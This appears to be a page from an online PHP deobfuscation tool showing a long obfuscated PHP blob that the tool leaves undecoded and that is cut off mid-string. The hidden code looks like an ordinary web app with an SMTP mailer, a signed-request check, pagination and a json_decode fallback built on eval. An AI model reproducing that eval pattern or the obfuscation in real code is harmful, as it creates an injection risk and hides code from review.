Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $_F=__FILE__;$_X='Pz48P3BocCBmM25jdDQybiBfQ0M5YW91N0NCaW9EZUVlb0MwNjdlaUVFdWV1QzdpZU..

Decoded Output download

<?php $_F=__FILE__;$_X='Pz48P3BocCBmM25jdDQybiBfQ0M5YW91N0NCaW9EZUVlb0MwNjdlaUVFdWV1QzdpZUYoJHM0Z241ZF9yNXEzNXN0LCAkczVjcjV0KQ0Kew0KICAgIGw0c3QoJF9BNzBCOThEQzhEQzdhREZBbzlFQ0VEdUR1Qjc4QzBGZSwgJF85N2lFQnVDOUE2MEI5YURCQzg5bzZFN0ZCb2VEYWFDOCkgPQ0KICAgICAgICA1eHBsMmQ1KCcuJywgJHM0Z241ZF9yNXEzNXN0LCBhKTsNCiAgICAkczRnID0gX29lRjA3RWFDMGFpYUQ5RjZ1NjA4dTdpQjkwRTZBMDlDKCRfQTcwQjk4REM4REM3YURGQW85RUNFRHVEdUI3OEMwRmUpOw0KICAgICRkMXQxID0ganMybl9kNWMyZDUoX29lRjA3RWFDMGFpYUQ5RjZ1NjA4dTdpQjkwRTZBMDlDKCRfOTdpRUJ1QzlBNjBCOWFEQkM4OW82RTdGQm9lRGFhQzgpLCB0cjM1KTsNCiAgICA0ZiAoc3RydDIzcHA1cigkZDF0MVsnMWxnMnI0dGhtJ10pICE9PSAnSE1BQy1TSEFhaWUnKSB7DQogICAgICAgIDVycjJyX2wyZygnVW5rbjJ3biAxbGcycjR0aG0uIEV4cDVjdDVkIEhNQUMtU0hBYWllJyk7DQogICAgICAgIHI1dDNybiBuM2xsOw0KICAgIH0NCiAgICAkX282Q0E4YWUwQ3VEQjhpQzhpMGU5ODhlb28wOWk3dTBhID0gaDFzaF9obTFjKCdzaDFhaWUnLCAkXzk3aUVCdUM5QTYwQjlhREJDODlvNkU3RkJvZURhYUM4LA0KICAgICAgICAkczVjcjV0LCAkXzY4OW9FRTlhNkQ4aW9pRnVDaTZvYW82QjhCZWVCb0ZCID0gdHIzNSk7DQogICAgNGYgKCRzNGcgIT09ICRfbzZDQThhZTBDdURCOGlDOGkwZTk4OGVvbzA5aTd1MGEpIHsNCiAgICAgICAgNXJyMnJfbDJnKCdCMWQgUzRnbjVkIEpTT04gczRnbjF0M3I1IScpOw0KICAgICAgICByNXQzcm4gbjNsbDsNCiAgICB9DQogICAgcjV0M3JuICRkMXQxOw0KfQ0KZjNuY3Q0Mm4gX29lRjA3RWFDMGFpYUQ5RjZ1NjA4dTdpQjkwRTZBMDlDKCRfMDY3RTlvbzc4YURDQ0VEQWF1ZUVvYTBCNkI2b0VpZTcpDQp7DQogICAgcjV0M3JuIGIxczVldV9kNWMyZDUoc3RydHIoJF8wNjdFOW9vNzhhRENDRURBYXVlRW9hMEI2QjZvRWllNywgJy1fJywgJysvJykpOw0KfQ0KZjNuY3Q0Mm4gX0Y3Q0M3YUMwaTgwOHVCOTdhOTBEQTdhRWlBRjhFQ0JlKCRfN0NDODhGQ2llRUM3NzAwdXVGNzY3dTlDYWVvdTgwb0MsICRfRDBCMHU3OHVhYUZlQ2E2RnVGOEU5aURhaW9DODgwQUYsDQogICAgJHQyLCAkX0JDRDZhNjBFQWl1Q3VGQmVDaTlDQURDQThhb2llMGk3LCAkXzYwQTZCRjdvZXU2MDllMGFGRTg5ODc3Q2llQkV1RDAwLCAkbTVzczFnNSkNCnsNCiAgICBnbDJiMWwgJF84aUF1b0I2QkI2YWlGOEEwRTlEQzhBNzc5OW82MEZlOCwgJG0xNGxfNHNodG1sLCAkbTE0bF80ZDsNCiAgICAkXzhpQXVvQjZCQjZhaUY4QTBFOURDOEE3Nzk5bzYwRmU4ID0gbXlzcWxfZjV0Y2hfMXNzMmMobXlzcWxfcTM1cnkoIlNFTEVDVCAqIEZST00gbTE0bF9zNXR0NG5ncyIpKTsNCiAgICAkXzdBRkFDOURGaUFFRUFhMDhvQzc4b0I2MEZBZW83YWFEID0gJF84aUF1b0I2QkI2YWlGOEEwRTlEQzhBNzc5OW82MEZlOFsiczV0dDRuZ19zbXRwX3M1cnY1ciJdOw0KICAgICRwMnJ0ID0gJF84aUF1b0I2QkI2YWlGOEEwRTlEQzhBNzc5OW82MEZlOFsiczV0dDRuZ19zbXRwX3AycnQiXTsNCiAgICAkX29pZWlBaUU3MG9CQ2FvQjY5MDhGZWk4OEIwZUFpaURDID0gInVpIjsNCiAgICAkM3M1cm4xbTUgPSAkXzhpQXVvQjZCQjZhaUY4QTBFOURDOEE3Nzk5bzYwRmU4WyJzNXR0NG5nX3NtdHBfM3M1cm4xbTUiXTsNCiAgICAkcDFzc3cycmQgPSAkXzhpQXVvQjZCQjZhaUY4QTBFOURDOEE3Nzk5bzYwRmU4WyJzNXR0NG5nX3NtdHBfcDFzc3cycmQiXTsNCiAgICAkbDJjMWxoMnN0ID0gJF84aUF1b0I2QkI2YWlGOEEwRTlEQzhBNzc5OW82MEZlOFsiczV0dDRuZ19zbXRwX2QybTE0biJdOw0KICAgICRfbzBCQ0ZDN0J1QUFFdTB1b2lBRUZCQURCRkQ4ZTA5aW8gPSAiXHJcbiI7DQogICAgJF9COXU5RkVDNkMwOUZvaUNpRkRDMEM2RkRFb0E4ODB1OSA9IDA7DQogICAgJF9vN0ZlQjg3aUNEaUY3QzBBdUNvaUZFNkFFYTg5YWlFQSA9IGZzMmNrMnA1bigkXzdBRkFDOURGaUFFRUFhMDhvQzc4b0I2MEZBZW83YWFELA0KICAgICAgICAkcDJydCwgJF9EaWlhRWlvMEFpRm9ENkJFRkI3Q3VpQm9GQzg4Nzc3QywgJF9haUQ5OWE4bzY4RjdERDk5NjdldUFlQTc4REVBQ0U5RiwgJF9vaWVpQWlFNzBvQkNhb0I2OTA4RmVpODhCMGVBaWlEQyk7DQogICAgJF9hdUV1N2VFNkFvNjZpNjg5YWFpZWVDQTlhRW9FdUE3aSA9IGZnNXRzKCRfbzdGZUI4N2lDRGlGN0MwQXVDb2lGRTZBRWE4OWFpRUEsDQogICAgICAgIHUwOWUpOw0KICAgIDRmICg1bXB0eSgkX283RmVCODdpQ0RpRjdDMEF1Q29pRkU2QUVhODlhaUVBKSkgew0KICAgICAgICAkX0REQXVBQWFhdXU3aTZvN0ZDQUZGYTlpOGFpRjg2YWVEID0gIkYxNGw1ZCB0MiBjMm5uNWN0OiAkX2F1RXU3ZUU2QW82Nmk2ODlhYWllZUNBOWFFb0V1QTdpIjsNCiAgICAgICAgX0ZlQWlpYXU4OW9lQjBFRmk5QzlFdUQ4ZW9GaUI2NzBEKCRfRERBdUFBYWF1dTdpNm83RkNBRkZhOWk4YWlGODZhZUQsICJFUlJPUiIsICRtMTRsXzRkKTsNCiAgICAgICAgcjV0M3JuICRfRERBdUFBYWF1dTdpNm83RkNBRkZhOWk4YWlGODZhZUQ7DQogICAgfSA1bHM1IHsNCiAgICAgICAgJF9vRURpQ3VvRDB1MEFvZTBEOGU2MDdCaThEaUJhRjc2dVsnYzJubjVjdDQybiddID0gIjxwPkMybm41Y3Q1ZCB0MjogJF9hdUV1N2VFNkFvNjZpNjg5YWFpZWVDQTlhRW9FdUE3aSI7DQogICAgfQ0KICAgIGZwM3RzKCRfbzdGZUI4N2lDRGlGN0MwQXVDb2lGRTZBRWE4OWFpRUEsICJIRUxPICRsMmMxbGgyc3QiIC4gJF9vMEJDRkM3QnVBQUV1MHVvaUFFRkJBREJGRDhlMDlpbyk7DQogICAgJF9hdUV1N2VFNkFvNjZpNjg5YWFpZWVDQTlhRW9FdUE3aSA9IGZnNXRzKCRfbzdGZUI4N2lDRGlGN0MwQXVDb2lGRTZBRWE4OWFpRUEsDQogICAgICAgIHUwOWUpOw0KICAgICRfb0VEaUN1b0QwdTBBb2UwRDhlNjA3Qmk4RGlCYUY3NnVbJ2g1bDJyNXNwMm5zNWEnXSA9ICIkX2F1RXU3ZUU2QW82Nmk2ODlhYWllZUNBOWFFb0V1QTdpIjsNCiAgICBmcDN0cygkX283RmVCODdpQ0RpRjdDMEF1Q29pRkU2QUVhODlhaUVBLCAiQVVUSCBMT0dJTiIgLiAkX28wQkNGQzdCdUFBRXUwdW9pQUVGQkFEQkZEOGUwOWlvKTsNCiAgICAkX2F1RXU3ZUU2QW82Nmk2ODlhYWllZUNBOWFFb0V1QTdpID0gZmc1dHMoJF9vN0ZlQjg3aUNEaUY3QzBBdUNvaUZFNkFFYTg5YWlFQSwNCiAgICAgICAgdTA5ZSk7DQogICAgJF9vRURpQ3VvRDB1MEFvZTBEOGU2MDdCaThEaUJhRjc2dVsnMTN0aHI1cTM1c3QnXSA9ICIkX2F1RXU3ZUU2QW82Nmk2ODlhYWllZUNBOWFFb0V1QTdpIjsNCiAgICBmcDN0cygkX283RmVCODdpQ0RpRjdDMEF1Q29pRkU2QUVhODlhaUVBLCBiMXM1ZXVfNW5jMmQ1KCQzczVybjFtNSkgLiAkX28wQkNGQzdCdUFBRXUwdW9pQUVGQkFEQkZEOGUwOWlvKTsNCiAgICAkX2F1RXU3ZUU2QW82Nmk2ODlhYWllZUNBOWFFb0V1QTdpID0gZmc1dHMoJF9vN0ZlQjg3aUNEaUY3QzBBdUNvaUZFNkFFYTg5YWlFQSwNCiAgICAgICAgdTA5ZSk7DQogICAgJF9vRURpQ3VvRDB1MEFvZTBEOGU2MDdCaThEaUJhRjc2dVsnMTN0aDNzNXJuMW01J10gPSAiJF9hdUV1N2VFNkFvNjZpNjg5YWFpZWVDQTlhRW9FdUE3aSI7DQogICAgZnAzdHMoJF9vN0ZlQjg3aUNEaUY3QzBBdUNvaUZFNkFFYTg5YWlFQSwgYjFzNWV1XzVuYzJkNSgkcDFzc3cycmQpIC4gJF9vMEJDRkM3QnVBQUV1MHVvaUFFRkJBREJGRDhlMDlpbyk7DQogICAgJF9hdUV1N2VFNkFvNjZpNjg5YWFpZWVDQTlhRW9FdUE3aSA9IGZnNXRzKCRfbzdGZUI4N2lDRGlGN0MwQXVDb2lGRTZBRWE4OWFpRUEsDQogICAgICAgIHUwOWUpOw0KICAgICRfb0VEaUN1b0QwdTBBb2UwRDhlNjA3Qmk4RGlCYUY3NnVbJzEzdGhwMXNzdzJyZCddID0gIiRfYXVFdTdlRTZBbzY2aTY4OWFhaWVlQ0E5YUVvRXVBN2kiOw0KICAgIGZwM3RzKCRfbzdGZUI4N2lDRGlGN0MwQXVDb2lGRTZBRWE4OWFpRUEsICJNQUlMIEZST006IDwkXzdDQzg4RkNpZUVDNzcwMHV1Rjc2N3U5Q2Flb3U4MG9DPiIgLg0KICAgICAgICAkX28wQkNGQzdCdUFBRXUwdW9pQUVGQkFEQkZEOGUwOWlvKTsNCiAgICAkX2F1RXU3ZUU2QW82Nmk2ODlhYWllZUNBOWFFb0V1QTdpID0gZmc1dHMoJF9vN0ZlQjg3aUNEaUY3QzBBdUNvaUZFNkFFYTg5YWlFQSwNCiAgICAgICAgdTA5ZSk7DQogICAgJF9vRURpQ3VvRDB1MEFvZTBEOGU2MDdCaThEaUJhRjc2dVsnbTE0bGZyMm1yNXNwMm5zNSddID0gIiRfYXVFdTdlRTZBbzY2aTY4OWFhaWVlQ0E5YUVvRXVBN2kiOw0KICAgIGZwM3RzKCRfbzdGZUI4N2lDRGlGN0MwQXVDb2lGRTZBRWE4OWFpRUEsICJSQ1BUIFRPOiA8JHQyPiIgLiAkX28wQkNGQzdCdUFBRXUwdW9pQUVGQkFEQkZEOGUwOWlvKTsNCiAgICAkX2F1RXU3ZUU2QW82Nmk2ODlhYWllZUNBOWFFb0V1QTdpID0gZmc1dHMoJF9vN0ZlQjg3aUNEaUY3QzBBdUNvaUZFNkFFYTg5YWlFQSwNCiAgICAgICAgdTA5ZSk7DQogICAgJF9vRURpQ3VvRDB1MEFvZTBEOGU2MDdCaThEaUJhRjc2dVsnbTE0bHQycjVzcDJuczUnXSA9ICIkX2F1RXU3ZUU2QW82Nmk2ODlhYWllZUNBOWFFb0V1QTdpIjsNCiAgICBmcDN0cygkX283RmVCODdpQ0RpRjdDMEF1Q29pRkU2QUVhODlhaUVBLCAiREFUQSIgLiAkX28wQkNGQzdCdUFBRXUwdW9pQUVGQkFEQkZEOGUwOWlvKTsNCiAgICAkX2F1RXU3ZUU2QW82Nmk2ODlhYWllZUNBOWFFb0V1QTdpID0gZmc1dHMoJF9vN0ZlQjg3aUNEaUY3QzBBdUNvaUZFNkFFYTg5YWlFQSwNCiAgICAgICAgdTA5ZSk7DQogICAgJF9vRURpQ3VvRDB1MEFvZTBEOGU2MDdCaThEaUJhRjc2dVsnZDF0MTZyNXNwMm5zNSddID0gIiRfYXVFdTdlRTZBbzY2aTY4OWFhaWVlQ0E5YUVvRXVBN2kiOw0KICAgICRfRWUwYTdpdUVDMEJCb2lFbzdpOUFBQmVvMEY3NzdGQXUgPSAiTUlNRS1WNXJzNDJuOiA2LjAiIC4gJF9vMEJDRkM3QnVBQUV1MHVvaUFFRkJBREJGRDhlMDlpbzsNCiAgICA0ZiAoJG0xNGxfNHNodG1sID09IDYpIHsNCiAgICAgICAgJF9FZTBhN2l1RUMwQkJvaUVvN2k5QUFCZW8wRjc3N0ZBdSAuPQ0KICAgICAgICAgICAgIkMybnQ1bnQtdHlwNTogdDV4dC9odG1sOyBjaDFyczV0PTRzMi04OGk5LTYiIC4gJF9vMEJDRkM3QnVBQUV1MHVvaUFFRkJBREJGRDhlMDlpbzsNCiAgICB9DQogICAgJF9FZTBhN2l1RUMwQkJvaUVvN2k5QUFCZW8wRjc3N0ZBdSAuPSAiVDI6ICRfQkNENmE2MEVBaXVDdUZCZUNpOUNBRENBOGFvaWUwaTcgPCR0Mj4iIC4NCiAgICAgICAgJF9vMEJDRkM3QnVBQUV1MHVvaUFFRkJBREJGRDhlMDlpbzsNCiAgICAkX0VlMGE3aXVFQzBCQm9pRW83aTlBQUJlbzBGNzc3RkF1IC49ICJGcjJtOiAkX0QwQjB1Nzh1YWFGZUNhNkZ1RjhFOWlEYWlvQzg4MEFGIDwkXzdDQzg4RkNpZUVDNzcwMHV1Rjc2N3U5Q2Flb3U4MG9DPiIgLg0KICAgICAgICAkX28wQkNGQzdCdUFBRXUwdW9pQUVGQkFEQkZEOGUwOWlvOw0KICAgIGZwM3RzKCRfbzdGZUI4N2lDRGlGN0MwQXVDb2lGRTZBRWE4OWFpRUEsICJTM2JqNWN0OiAkXzYwQTZCRjdvZXU2MDllMGFGRTg5ODc3Q2llQkV1RDAwXHJcbiRfRWUwYTdpdUVDMEJCb2lFbzdpOUFBQmVvMEY3NzdGQXVcclxuXHJcbiRtNXNzMWc1XHJcbi5cclxuIik7DQogICAgJF9hdUV1N2VFNkFvNjZpNjg5YWFpZWVDQTlhRW9FdUE3aSA9IGZnNXRzKCRfbzdGZUI4N2lDRGlGN0MwQXVDb2lGRTZBRWE4OWFpRUEsDQogICAgICAgIHUwOWUpOw0KICAgICRfb0VEaUN1b0QwdTBBb2UwRDhlNjA3Qmk4RGlCYUY3NnVbJ2QxdDFhcjVzcDJuczUnXSA9ICIkX2F1RXU3ZUU2QW82Nmk2ODlhYWllZUNBOWFFb0V1QTdpIjsNCiAgICBmcDN0cygkX283RmVCODdpQ0RpRjdDMEF1Q29pRkU2QUVhODlhaUVBLCAiUVVJVCIgLiAkX28wQkNGQzdCdUFBRXUwdW9pQUVGQkFEQkZEOGUwOWlvKTsNCiAgICAkX2F1RXU3ZUU2QW82Nmk2ODlhYWllZUNBOWFFb0V1QTdpID0gZmc1dHMoJF9vN0ZlQjg3aUNEaUY3QzBBdUNvaUZFNkFFYTg5YWlFQSwNCiAgICAgICAgdTA5ZSk7DQogICAgJF9vRURpQ3VvRDB1MEFvZTBEOGU2MDdCaThEaUJhRjc2dVsncTM0dHI1c3AybnM1J10gPSAiJF9hdUV1N2VFNkFvNjZpNjg5YWFpZWVDQTlhRW9FdUE3aSI7DQogICAgJF9vRURpQ3VvRDB1MEFvZTBEOGU2MDdCaThEaUJhRjc2dVsncTM0dGMyZDUnXSA9IHMzYnN0cigkX2F1RXU3ZUU2QW82Nmk2ODlhYWllZUNBOWFFb0V1QTdpLA0KICAgICAgICAwLCBvKTsNCiAgICBmY2wyczUoJF9vN0ZlQjg3aUNEaUY3QzBBdUNvaUZFNkFFYTg5YWlFQSk7DQogICAgcjV0M3JuICgkX29FRGlDdW9EMHUwQW9lMEQ4ZTYwN0JpOERpQmFGNzZ1KTsNCn0NCjRmICghZjNuY3Q0Mm5fNXg0c3RzKCdqczJuX2Q1YzJkNScpKSB7DQogICAgZjNuY3Q0Mm4ganMybl9kNWMyZDUoJGpzMm4pDQogICAgew0KICAgICAgICAkYzJtbTVudCA9IGYxbHM1Ow0KICAgICAgICAkMjN0ID0gJyR4PSc7DQogICAgICAgIGYyciAoJDQgPSAwOyAkNCA8IHN0cmw1bigkanMybik7ICQ0KyspIHsNCiAgICAgICAgICAgIDRmICghJGMybW01bnQpIHsNCiAgICAgICAgICAgICAgICA0ZiAoKCRqczJuWyQ0XSA9PSAneycpIHx8ICgkanMyblskNF0gPT0gJ1snKSkNCiAgICAgICAgICAgICAgICAgICAgJDIzdCAuPSAnIDFycjF5KCc7DQogICAgICAgICAgICAgICAgNWxzNQ0KICAgICAgICAgICAgICAgICAgICA0ZiAoKCRqczJuWyQ0XSA9PSAnfScpIHx8ICgkanMyblskNF0gPT0gJ10nKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICQyM3QgLj0gJyknOw0KICAgICAgICAgICAgICAgICAgICA1bHM1DQogICAgICAgICAgICAgICAgICAgICAgICA0ZiAoJGpzMm5bJDRdID09ICc6JykNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkMjN0IC49ICc9Pic7DQogICAgICAgICAgICAgICAgICAgICAgICA1bHM1DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJDIzdCAuPSAkanMyblskNF07DQogICAgICAgICAgICB9IDVsczUNCiAgICAgICAgICAgICAgICAkMjN0IC49ICRqczJuWyQ0XTsNCiAgICAgICAgICAgIDRmICgkanMyblskNF0gPT0gJyInICYmICRqczJuWygkNCAtIDYpXSAhPSAiXFwiKQ0KICAgICAgICAgICAgICAgICRjMm1tNW50ID0gISRjMm1tNW50Ow0KICAgICAgICB9DQogICAgICAgIDV2MWwoJDIzdCAuICc7Jyk7DQogICAgICAgIHI1dDNybiAkeDsNCiAgICB9DQp9DQpmM25jdDQybiAxZGRfZjRsdDVyKCQybiwgJF9EOEJlNkJlYWVEQkNFQWFGQmllMDBpYUVDRW9vaUJpdSkNCnsNCiAgICBnbDJiMWwgJF9FQkNvNnVCRWlBQmFldUE3QWlEaW9pNkJhRjhDN0FlRjsNCiAgICAkX0VCQ282dUJFaUFCYWV1QTdBaURpb2k2QmFGOEM3QWVGWyQybl1bXSA9ICRfRDhCZTZCZWFlREJDRUFhRkJpZTAwaWFFQ0Vvb2lCaXU7DQp9DQpmM25jdDQybiBjMm50NW50X2Y0bHQ1cigkYzJudDVudCkNCnsNCiAgICBnbDJiMWwgJF9FQkNvNnVCRWlBQmFldUE3QWlEaW9pNkJhRjhDN0FlRjsNCiAgICBmMnI1MWNoICgkX0VCQ282dUJFaUFCYWV1QTdBaURpb2k2QmFGOEM3QWVGWydjMm50NW50X2Y0bHQ1ciddIDFzICRfRkY2QUFlQ0NpQThDQ0FDN28wQzhCZThpZUIwZUUwREQpIHsNCiAgICAgICAgJGMybnQ1bnQgPSBjMWxsXzNzNXJfZjNuYygkX0ZGNkFBZUNDaUE4Q0NBQzdvMEM4QmU4aWVCMGVFMERELCAkYzJudDVudCk7DQogICAgfQ0KICAgIHI1dDNybiAkYzJudDVudDsNCn0NCmYzbmN0NDJuIF84b0FGMDg2Qzc5QmlBQTY5REVDOUNBbzlENzlFaUZBRigkX0VFQkFDbzllQzA4QmU5OTBDMG9vaWVCb0Y5QjhBQ3VELCAkXzB1ODhlOTlCOUI2RkNCYUZ1RUYwaWlDQkNBYTZBQzhFKQ0Kew0KICAgICRfOG9BRjA4NkM3OUJpQUE2OURFQzlDQW85RDc5RWlGQUYgPSBmMWxzNTsNCiAgICA0ZiAoNG5fMXJyMXkoJF9FRUJBQ285ZUMwOEJlOTkwQzBvb2llQm9GOUI4QUN1RCwgJF8wdTg4ZTk5QjlCNkZDQmFGdUVGMGlpQ0JDQWE2QUM4RSkpIHsNCiAgICAgICAgJF84b0FGMDg2Qzc5QmlBQTY5REVDOUNBbzlENzlFaUZBRiA9IHRyMzU7DQogICAgfSA1bHM1IHsNCiAgICAgICAgZjJyICgkNCA9IDA7ICQ0IDwgczR6NTJmKCRfMHU4OGU5OUI5QjZGQ0JhRnVFRjBpaUNCQ0FhNkFDOEUpOyAkNCsrKSB7DQogICAgICAgICAgICA0ZiAoNHNfMXJyMXkoJF8wdTg4ZTk5QjlCNkZDQmFGdUVGMGlpQ0JDQWE2QUM4RVskNF0pKSB7DQogICAgICAgICAgICAgICAgNGYgKF84b0FGMDg2Qzc5QmlBQTY5REVDOUNBbzlENzlFaUZBRigkX0VFQkFDbzllQzA4QmU5OTBDMG9vaWVCb0Y5QjhBQ3VELCAkXzB1ODhlOTlCOUI2RkNCYUZ1RUYwaWlDQkNBYTZBQzhFWyQ0XSkpIHsNCiAgICAgICAgICAgICAgICAgICAgJF84b0FGMDg2Qzc5QmlBQTY5REVDOUNBbzlENzlFaUZBRiA9IHRyMzU7DQogICAgICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCiAgICByNXQzcm4gJF84b0FGMDg2Qzc5QmlBQTY5REVDOUNBbzlENzlFaUZBRjsNCn0NCmYzbmN0NDJuIF9pQm9FaUNFQzk4RDlhOEQwQTZFQ0VDdW9FNkRvN0V1QygkX2lFRmVDbzc5QTBBNzk5aTlFN0IwZUU2OEEwQ0JhYWlFLCAkXzBGRERGQkRvODZFQ0NhYWE4Q0FFMEE2N2E2YXU3RkZDLA0KICAgICRwMWc1LCAkcDF0aCkNCnsNCiAgICAkXzZGQTBBQWE2N0FvaTk5Q0JvRjlDOUVCYWU3aUZpMGVEID0gImEiOw0KICAgIDRmICgkcDFnNSA8PSAwIHx8ICE0c19uM201cjRjKCRwMWc1KSkgew0KICAgICAgICAkcDFnNSA9IDY7DQogICAgICAgICRfdUZlOUFFdUJFaWVBQ0ZGOEM2dTdDNjdCOTk4MEI3OWEgPSAwOw0KICAgIH0gNWxzNSB7DQogICAgICAgICRfdUZlOUFFdUJFaWVBQ0ZGOEM2dTdDNjdCOTk4MEI3OWEgPSAoJHAxZzUgLSA2KSAqICRfMEZEREZCRG84NkVDQ2FhYThDQUUwQTY3YTZhdTdGRkM7DQogICAgfQ0KICAgIDRmICgkcDFnNSA9PSAwKQ0KICAgICAgICAkcDFnNSA9IDY7DQogICAgJF9pOUZhMG9hQmVEYUVGQ3Vvb0FvbzY5dWlpOG9Fb3UwQiA9ICRwMWc1IC0gNjsNCiAgICAkbjV4dCA9ICRwMWc1ICsgNjsNCiAgICAkX283RDlFMEZlaWU4N0E5RWU2RUE2QWlCNmk3QzlGQ0VpID0gYzU0bCgkX2lFRmVDbzc5QTBBNzk5aTlFN0IwZUU2OEEwQ0JhYWlFIC8gJF8wRkRERkJEbzg2RUNDYWFhOENBRTBBNjdhNmF1N0ZGQyk7DQogICAgJF9DRWEwMHU2RkJDMDlvNmVGOEFFRGlhRUZDaW9pRXU4aSA9ICRfbzdEOUUwRmVpZTg3QTlFZTZFQTZBaUI2aTdDOUZDRWkgLSA2Ow0KICAgICRfQUI5bzk4MERBb0RlQzZCN2E2Q0NhaURhMEFCRUEwaW8gPSAkXzBGRERGQkRvODZFQ0NhYWE4Q0FFMEE2N2E2YXU3RkZDICogJHAxZzU7DQogICAgNGYgKCRfQUI5bzk4MERBb0RlQzZCN2E2Q0NhaURhMEFCRUEwaW8gPiAkX2lFRmVDbzc5QTBBNzk5aTlFN0IwZUU2OEEwQ0JhYWlFKSB7DQogICAgICAgICRfMEZEREZCRG84NkVDQ2FhYThDQUUwQTY3YTZhdTdGRkMgPSAkX2lFRmVDbzc5QTBBNzk5aTlFN0IwZUU2OEEwQ0JhYWlFIC0gKCRwMWc1IC0NCiAgICAgICAgICAgIDYpICogJF8wRkRERkJEbzg2RUNDYWFhOENBRTBBNjdhNmF1N0ZGQzsNCiAgICB9DQogICAgJF9pQm9FaUNFQzk4RDlhOEQwQTZFQ0VDdW9FNkRvN0V1QyA9ICIiOw0KICAgIDRmICgkX283RDlFMEZlaWU4N0E5RWU2RUE2QWlCNmk3QzlGQ0VpID4gNikgew0KICAgICAgICAkX2lCb0VpQ0VDOThEOWE4RDBBNkVDRUN1b0U2RG83RXVDIC49ICI8ZDR2IGNsMXNzPSdwMWc0bjF0NDJuJz4iOw0KICAgICAgICA0ZiAoJHAxZzUgPiA2KQ0KICAgICAgICAgICAgJF9pQm9FaUNFQzk4RDlhOEQwQTZFQ0VDdW9FNkRvN0V1QyAuPSAiPDEgaHI1Zj0nIiAuICRwMXRoIC4gInA9JF9pOUZhMG9hQmVEYUVGQ3Vvb0FvbzY5dWlpOG9Fb3UwQic+JmwxcTMyOyBwcjV2NDIzczwvMT4iOw0KICAgICAgICA1bHM1DQogICAgICAgICAgICAkX2lCb0VpQ0VDOThEOWE4RDBBNkVDRUN1b0U2RG83RXVDIC49DQogICAgICAgICAgICAgICAgIjxzcDFuIGNsMXNzPSdkNHMxYmw1ZCc+JmwxcTMyOyBwcjV2NDIzczwvc3Axbj4iOw0KICAgICAgICA0ZiAoJF9vN0Q5RTBGZWllODdBOUVlNkVBNkFpQjZpN0M5RkNFaSA8IDcgKyAoJF82RkEwQUFhNjdBb2k5OUNCb0Y5QzlFQmFlN2lGaTBlRCAqDQogICAgICAgICAgICBhKSkgew0KICAgICAgICAgICAgZjJyICgkX2FEYTlvRjBlNmVCMDdhRTA4OER1b0JGQzg3MENlRW84ID0gNjsgJF9hRGE5b0YwZTZlQjA3YUUwODhEdW9CRkM4NzBDZUVvOCA8PQ0KICAgICAgICAgICAgICAgICRfbzdEOUUwRmVpZTg3QTlFZTZFQTZBaUI2aTdDOUZDRWk7ICRfYURhOW9GMGU2ZUIwN2FFMDg4RHVvQkZDODcwQ2VFbzgrKykgew0KICAgICAgICAgICAgICAgIDRmICgkX2FEYTlvRjBlNmVCMDdhRTA4OER1b0JGQzg3MENlRW84ID09ICRwMWc1KQ0KICAgICAgICAgICAgICAgICAgICAkX2lCb0VpQ0VDOThEOWE4RDBBNkVDRUN1b0U2RG83RXVDIC49ICI8c3AxbiBjbDFzcz0nYzNycjVudCc+JF9hRGE5b0YwZTZlQjA3YUUwODhEdW9CRkM4NzBDZUVvODwvc3Axbj4iOw0KICAgICAgICAgICAgICAgIDVsczUNCiAgICAgICAgICAgICAgICAgICAgJF9pQm9FaUNFQzk4RDlhOEQwQTZFQ0VDdW9FNkRvN0V1QyAuPSAiPDEgaHI1Zj0nIiAuICRwMXRoIC4gInA9JF9hRGE5b0YwZTZlQjA3YUUwODhEdW9CRkM4NzBDZUVvOCc+JF9hRGE5b0YwZTZlQjA3YUUwODhEdW9CRkM4NzBDZUVvODwvMT4iOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9IDVsczU0ZiAoJF9vN0Q5RTBGZWllODdBOUVlNkVBNkFpQjZpN0M5RkNFaSA+IGkgKyAoJF82RkEwQUFhNjdBb2k5OUNCb0Y5QzlFQmFlN2lGaTBlRCAqDQogICAgICAgIGEpKSB7DQogICAgICAgICAgICA0ZiAoJHAxZzUgPCA2ICsgKCRfNkZBMEFBYTY3QW9pOTlDQm9GOUM5RUJhZTdpRmkwZUQgKiBhKSkgew0KICAgICAgICAgICAgICAgIGYyciAoJF9hRGE5b0YwZTZlQjA3YUUwODhEdW9CRkM4NzBDZUVvOCA9IDY7ICRfYURhOW9GMGU2ZUIwN2FFMDg4RHVvQkZDODcwQ2VFbzggPA0KICAgICAgICAgICAgICAgICAgICB1ICsgKCRfNkZBMEFBYTY3QW9pOTlDQm9GOUM5RUJhZTdpRmkwZUQgKiBhKTsgJF9hRGE5b0YwZTZlQjA3YUUwODhEdW9CRkM4NzBDZUVvOCsrKSB7DQogICAgICAgICAgICAgICAgICAgIDRmICgkX2FEYTlvRjBlNmVCMDdhRTA4OER1b0JGQzg3MENlRW84ID09ICRwMWc1KQ0KICAgICAgICAgICAgICAgICAgICAgICAgJF9pQm9FaUNFQzk4RDlhOEQwQTZFQ0VDdW9FNkRvN0V1QyAuPSAiPHNwMW4gY2wxc3M9J2MzcnI1bnQnPiRfYURhOW9GMGU2ZUIwN2FFMDg4RHVvQkZDODcwQ2VFbzg8L3NwMW4+IjsNCiAgICAgICAgICAgICAgICAgICAgNWxzNQ0KICAgICAgICAgICAgICAgICAgICAgICAgJF9pQm9FaUNFQzk4RDlhOEQwQTZFQ0VDdW9FNkRvN0V1QyAuPSAiPDEgaHI1Zj0nIiAuICRwMXRoIC4gInA9JF9hRGE5b0YwZTZlQjA3YUUwODhEdW9CRkM4NzBDZUVvOCc+JF9hRGE5b0YwZTZlQjA3YUUwODhEdW9CRkM4NzBDZUVvODwvMT4iOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkX2lCb0VpQ0VDOThEOWE4RDBBNkVDRUN1b0U2RG83RXVDIC49ICIuLi4iOw0KICAgICAgICAgICAgICAgICRfaUJvRWlDRUM5OEQ5YThEMEE2RUNFQ3VvRTZEbzdFdUMgLj0gIjwxIGhyNWY9JyIgLiAkcDF0aCAuICJwPSRfQ0VhMDB1NkZCQzA5bzZlRjhBRURpYUVGQ2lvaUV1OGknPiRfQ0VhMDB1NkZCQzA5bzZlRj